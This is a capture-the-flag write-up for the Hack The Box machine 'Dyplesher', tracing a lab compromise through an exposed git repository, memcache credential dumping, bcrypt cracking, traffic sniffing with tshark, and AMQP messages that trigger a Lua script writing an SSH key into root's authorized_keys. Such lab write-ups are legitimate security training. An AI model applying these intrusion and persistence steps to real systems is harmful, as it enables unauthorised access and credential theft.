Information
Box#
- Name: Dyplesher
- Profile: www.hackthebox.eu
- Difficulty: Insane
- OS: Linux
- Points: 50
Write-up
Overview#
Install tools used in this WU on BlackArch Linux:
1 | $ pacman -S nmap ffuf gittools ruby haiti john git dbeaver intellij-idea-community-edition ruby-ctf-party radare2 vim gtfoblookup |
PS: radare2
for rax2
& vim
for xxd
Network enumeration#
Port & service discovery with a nmap scan:
1 | # Nmap 7.80 scan initiated Mon Sep 21 21:58:37 2020 as: nmap -sSVC -p- -oA nmap_full -v 10.10.10.190 |
HTTP discovery#
Browsing http://10.10.10.190/, we can read Host: test.dyplesher.htb
.
So let's add the following entries to /etc/hosts
:
1 | 10.10.10.190 dyplesher.htb |
There is also a staff page (http://dyplesher.htb/staff) that could help us if we would need to bruteforce or guess a user account later.
- MinatoTW, owner
- felamos, dev
- yuntao, admin
Now if we try to reach the test sub-domain http://test.dyplesher.htb/, there is a form to store a key/value couple into memcache (port 11211). Right now we don't know if it works so let's enumerate a bit.
HTTP enumeration#
We can perform a sub-folder enumeration with ffuf:
1 | $ ffuf -u http://test.dyplesher.htb/FUZZ -c -w ~/CTF/tools/SecLists/Discovery/Web-Content/raft-small-words-lowercase.txt -fc 403 |
There a git folder exposed, so let's dump it with gittools:
1 | $ gittools-gitdumper http://test.dyplesher.htb/.git/ repo_dump |
Not let's see what we have to learn from it:
1 | $ cd repo_dump |
index.php
1 | <HTML> |
So it seems the app was not a rabbit hole but really working.
Remember of felamos
? It was displayed as a dev on the staff page.
So there is a good amount of chance that he re-used his password here: zxcvbnm
.
Anyway what's 100% sure it's that those credentials will work on memcache
service.
memcache exploitation#
1 | $ cat /etc/gemrc |
Ref.: Dalli
I wrote a quick script memcache.rb
to connect to memcache and dump credentials.
1 | options = { username: 'felamos', password: 'zxcvbnm' } |
1 | $ ruby -I/home/noraj/.gem/ruby/2.7.0/gems/dalli-2.7.10/lib -rdalli memcache.rb |
Password hash cracking#
My tool haiti gives me the hash type so we can crack the hashes with John the Ripper:
1 | $ haiti '$2a$10$5SAkMNF9fPNamlpWr.ikte0rHInGcU54tvazErpuwGPFePuI1DCJa' |
HTTP discovery 2#
From the nmap scan results we also saw there was another HTTP port.
At http://dyplesher.htb:3000/, a Gogs git forge is hosted.
- Gogs version 0.11.91.0811
- Go version 1.12.7
We can log in with felamos account (but we could have registered a new account as well) and explore existing projects.
git discovery#
Let's clone the two repositories.
1 | $ git clone http://dyplesher.htb:3000/felamos/gitlab.git |
memcached repository is exactly the same as the one we dumped earlier and gitlab repository seems empty.
But on gitlab project there is a release attached, see http://dyplesher.htb:3000/felamos/gitlab/releases
The release contains a file named repo.zip.
1 | $ wget http://dyplesher.htb:3000/attachments/a1b0e8bb-5843-4d5a-aff4-c7ee283e95f2 |
The archive is heavy so there must definitly be someting in it that is not in the repository. It seems it contains bundle files.
1 | $ unzip -t repo.zip |
Let's see which bundle could be promising:
1 | $ for bundle in $(ls -1 repositories/@hashed/**/*.bundle) ; do git bundle list-heads $bundle ; echo ; done |
One has a remote branch and one has a tag. As it doesn't help much let's clone them to easily unbundle the repositories.
1 | $ for bundle in $(ls -1 repositories/@hashed/**/*.bundle) ; do git clone $bundle ; echo ; done |
Now let's see what's in there:
1 | $ tree -S repos |
We can see a file named users.db
.
I'll use dbeaver to browse the SQLite database.
There is only one user entry with the hash of a password
$2a$10$IRgHi7pBhb9K0QBQBOzOju0PyOZhBnK4yaWjeZYdeP6oyDvCo9vc6
.
Let's crack this bcrypt hash like earleir with john:
1 | $ john hashes.txt -w=/usr/share/wordlists/passwords/rockyou.txt --format=bcrypt |
HTTP enumeration 2#
Earlier we enumerated http://test.dyplesher.htb/ but not http://dyplesher.htb/, so let's do it now:
1 | $ ffuf -u http://dyplesher.htb/FUZZ -c -w ~/CTF/tools/SecLists/Discovery/Web-Content/raft-small-words-lowercase.txt -fc 403 |
Let's go to the login page and try the password we just cracked.
felamos@dyplesher.htb
/ alexis1
On the home page it's talking about a Minecraft server and the backend allow to upload and load "plugins" so I assume it's Minecraft plugins.
Minecraft plugin#
On the console page (http://dyplesher.htb/home/console) we can see
Running Paper MC
. So this is a Paper MC server one of the many minecraft forks: https://papermc.io/.
We can also see that http://test.dyplesher.htb is deployed under
/var/www/test/
and is owned by MinatoTW
.
For the IDE where we'll write the Minecraft plugin we can eitheir use Eclipse or the more recommended IntelliJ IDEA.
Then use one of the methods below for Creating a blank Spigot plugin:
- Creating a blank Spigot plugin in IntelliJ IDEA
- Creating a plugin with Maven using IntelliJ IDEA
- Creating a blank Spigot plugin in Eclipse
- Creating a blank Spigot plugin in NetBeans
- Creating a blank Spigot plugin in VS Code
Then on the onEnable()
method eitheir write your public key into
/home/MinatoTW/.ssh/authorized_keys
or write a webshell where you will be
able to do the same thing.
When you have your JAR ready upload it (http://dyplesher.htb/home/add) and then load it (http://dyplesher.htb/home/reload).
Now connect via SSH to MinatoTW account with your key.
Elevation of Privilege (EoP): from MinatoTW to felamos#
user.txt
is not here so we must elevate to another user.
We can notice we are in an uncommon group: wireshark.
1 | MinatoTW@dyplesher:~$ id |
Of course as we don't have a X environment we can't launch it but we can launch its CLI counterpart: tshark.
1 | MinatoTW@dyplesher:~$ which tshark |
But which traffic do we need to sniff?
AMQP (Advanced Message Queuing Protocol) listening on port 5672.
1 | $ ss -nlpt |
The loopback address is named lo:
1 | $ ip link show |
Now let's capture loopback's traffic:
1 | $ tshark -i lo -F pcap -w /tmp/noraj.pcap |
We could retrieve the PCAP via SCP and open it in Wireshark but there is no fun
in that, so let's try to read the PCAP with tshark
directly.
I can refer to one of the many CTF write-up where I used tshark:
- TAMUctf 19 - Write-ups
- Hexpresso FIC CTF 2020 Prequalification Round - Write-ups of step 1-2
- Sunshine CTF 2018 - Write-ups
- BSides San Francisco CTF 2017 - Write-ups
- BITSCTF 2017 - Write-ups
For advanced amqp filters we can refer to wireshark doc.
The content of amqp message is contained can be obtained with the filter
amqp.payload
but will be displayed as hex.
1 | $ tshark -r /tmp/noraj.pcap -Y 'amqp' -T fields -e amqp.payload |
Let's remove blank lines from the output with either sed '/^$/d'
or awk 'NF > 0'
.
Then we need to convert the hexadecimal to ASCII text. As we sniffed traffic
for a long time let's remove non unique lines too.
1 | $ tshark -r /tmp/noraj.pcap -Y 'amqp' -T fields -e amqp.payload | awk 'NF > 0' | sort -u | xxd -r -p |
There are a lot of accounts we don't care about but some are familiars:
1 | { |
If we connect to felamos account via SSH we can find the user flag in its user directory.
1 | $ felamos@dyplesher:~$ cat user.txt |
Elevation of Privilege (EoP): from felamos to root#
We already listened to AMQP server but we have even more clues that we need to continue that way.
1 | felamos@dyplesher:~$ cat yuntao/send.sh |
It seems we need to send a link via AMQP and something will download it.
There is an awesome easy AMQP client in ruby: Bunny. There is also a RabbitMQ tutorial giving examples for our use case with exactly this library.
So let's download the script in the example:
1 | $ wget https://github.com/rabbitmq/rabbitmq-tutorials/raw/master/ruby/emit_log.rb |
Let's copy the example an modify it in something useable. Ready the doc to connect to a remote server rather than localhost.
1 |
|
But when trying to connect we have an access refused, we need credentials.
1 | $ ruby amqp.rb |
Since it's using PLAIN "cipher" we shoudl be able to see the creds in cleartext in our pcap.
So let's go with tshark again.
Reading amqp specs,
we can see that method start-ok
(id 11) description is:
select security mechanism and locale
So this filter should help filter start-ok
message only:
1 | $ tshark -r noraj.pcap -Y 'amqp.method.method == 11' |
Then we can see there are only 4 Built-in Authentication Mechanisms
including PLAIN
and AMQPLAIN
.
PLAIN - SASL PLAIN authentication. This is enabled by default in the RabbitMQ server and clients, and is the default for most other clients.
AMQPLAIN - Non-standard version of PLAIN retained for backwards compatibility. This is enabled by default in the RabbitMQ server.
We have nothing filtering with PLAIN so it must use AMQPLAIN.
1 | $ tshark -r noraj.pcap -Y 'amqp.method.method == 11 && amqp.method.arguments.mechanism == "AMQPLAIN"' |
So now let's extract the reponse that should contains the crendtials used to log in.
1 | $ tshark -r noraj.pcap -Y 'amqp.method.method == 11 && amqp.method.arguments.mechanism == "AMQPLAIN"' -T fields -e amqp.method.arguments.response | sort -u |
Let's decode the hexadecimal manually because xxd -r -p
will not display non
printable characters and strip half of what we need.
1 | $ irb |
We have of course other ways to do:
1 | $ rax2 -s 054c4f47494e530000000679756e74616f0850415353574f5244530000000d45617368416e69634f63334f70 | xxd |
Anyway we got the AMQP credentials: yuntao:EashAnicOc3Op
.
Let's add credentials to our AMQP PoC:
1 |
|
Fine this is working now:
1 | $ ruby amqp.rb |
Now we need to send our message into plugin_data
queue and not logs
; and
also to change the message to our downlaod URL.
1 |
|
But it an error tells us we are not using the right exchange type.
1 | $ ruby amqp.rb |
Let's change fanout into direct.
1 | -exchange = channel.fanout('plugin_data') |
Thanks to the very verbose error we know we must have a durable queue.
1 | $ ruby amqp.rb |
Let's see how we can do that with bunny.
1 | -exchange = channel.direct('plugin_data') |
Yes! This time it worked.
1 | $ ruby amqp.rb |
But our webserver was never pinged back:
1 | $ ruby -run -ehttpd . -p8000 |
I tried many different port but all is blocked, so let's serve something from the machine directly, localhost must be allowed by the firewall.
1 | felamos@dyplesher:~$ python3 -m http.server |
1 | $ ruby amqp.rb |
Yeah it worked:
1 | 127.0.0.1 - - [01/Oct/2020 21:30:30] code 404, message File not found |
Now that our PoC is working, let's create a real payload.
The hint told us that the plugin would be downloaded and "added" (udnerstand executed). It was talinkg about Cuberite plugin. Cuberite is another Minecraft server, this time plugins wont be coded in Java but in Lua.
We could read how to Writing a Cuberite plugin but in fact we don't even need a proper plugin, any lua script will be executed.
Let's GTFO to see how we can write our key to root SSH authorized keys file.
1 | $ gtfoblookup linux write lua |
My short LUA script:
1 | f=io.open("/root/.ssh/authorized_keys", "w"); |
My final AMQP PoC:
1 |
|
1 | $ ruby amqp.rb |
I win:
1 | $ ssh -i ~/.ssh/id_rsa root@dyplesher.htb |